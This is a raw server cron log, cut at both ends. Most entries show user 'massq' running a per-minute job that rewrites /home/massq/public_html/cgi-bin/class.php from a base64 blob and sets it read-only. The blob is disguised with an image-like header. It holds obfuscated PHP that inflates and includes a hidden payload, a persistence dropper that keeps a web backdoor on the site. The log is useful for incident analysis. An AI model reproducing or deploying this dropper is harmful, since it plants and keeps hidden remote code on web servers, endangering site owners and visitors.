"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:54:01 server CROND[23157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:55:01 server CROND[23219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:55:01 server CROND[23220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:55:01 server CROND[23221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:56:01 server CROND[23328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:57:01 server CROND[23399]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 16:57:01 server CROND[23400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:58:01 server CROND[23563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:59:01 server CROND[23637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:00:01 server CROND[23695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:00:01 server CROND[23696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:00:01 server CROND[23697]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 17:00:01 server CROND[23700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:01:01 server CROND[23830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:01:01 server CROND[23831]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 17:01:01 server run-parts(/etc/cron.hourly)[23831]: starting 0anacron
Apr 12 17:01:01 server run-parts(/etc/cron.hourly)[23844]: finished 0anacron
Apr 12 17:02:01 server CROND[23903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:03:01 server CROND[23959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:04:01 server CROND[24112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:05:01 server CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 17:05:01 server CROND[24178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:05:01 server CROND[24181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:05:01 server CROND[24183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:05:01 server CROND[24182]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 17:06:01 server CROND[24309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZG